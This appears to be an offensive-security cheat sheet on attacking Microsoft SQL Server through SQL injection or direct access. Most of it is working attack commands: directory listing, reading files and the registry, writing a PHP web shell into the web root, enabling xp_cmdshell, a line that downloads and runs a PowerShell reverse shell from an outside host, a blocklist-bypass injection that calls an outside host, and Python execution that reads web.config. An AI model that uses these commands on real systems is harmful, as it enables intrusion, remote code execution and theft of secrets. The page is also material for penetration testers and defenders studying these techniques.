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Read/Write/Execute

Theory

When exploiting SQL injection vulnerabilities, or if you have a direct access to the DBMS, you may be able to read/write files on the operating system. In some case you will be able to execute arbitrary command

Practice

Some queries on this page can be used with different techniques as UNION or Blind based attacks

Read

Directories

We may list directories on MSSQL using following commands

EXEC master.sys.xp_dirtree 'C:\',1,1
xp_dirtree 'C:\'
EXEC master.dbo.xp_dirtree 'C:\'
EXEC master..xp_subdirs 'C:\'
EXEC master..xp_fileexist 'C:\'

You can check who (apart sysadmins) has permissions to run those MSSQL functions with:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

Files

By default, MSSQL allows file read on any file in the operating system to which the account has read access. We can use the following SQL query:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

However, the BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

Registry

Microsoft SQL Server provides multiple extended stored procedures that allow you to interact with not only the network but also the file system and even the Windows Registry:

Regular

Instance-Aware

sys.xp_regread

sys.xp_instance_regread

sys.xp_regenumvalues

sys.xp_instance_regenumvalues

sys.xp_regenumkeys

sys.xp_instance_regenumkeys

sys.xp_regwrite

sys.xp_instance_regwrite

sys.xp_regdeletevalue

sys.xp_instance_regdeletevalue

sys.xp_regdeletekey

sys.xp_instance_regdeletekey

sys.xp_regaddmultistring

sys.xp_instance_regaddmultistring

sys.xp_regremovemultistring

sys.xp_instance_regremovemultistring

# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';

# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';

# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

Write

To write files using MSSQL, we need to enable Ole Automatin Procedures, which requires admin privileges, and then execute some stored procedures to create the file:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Command Execution

XP_CMDSHELL

We may execute code on MSSQL instances using the xp_cmdshell function. To enable it, we need admin privileges.

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# Get users that can run xp_cmdshell (except DBA)
Use master
EXEC sp_helprotect 'xp_cmdshell'

# Reactivate xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

# Execute code
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

Python Scrips

Executed by a different user than the one using xp_cmdshell to execute commands

We can execute python scipts as follow

#Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

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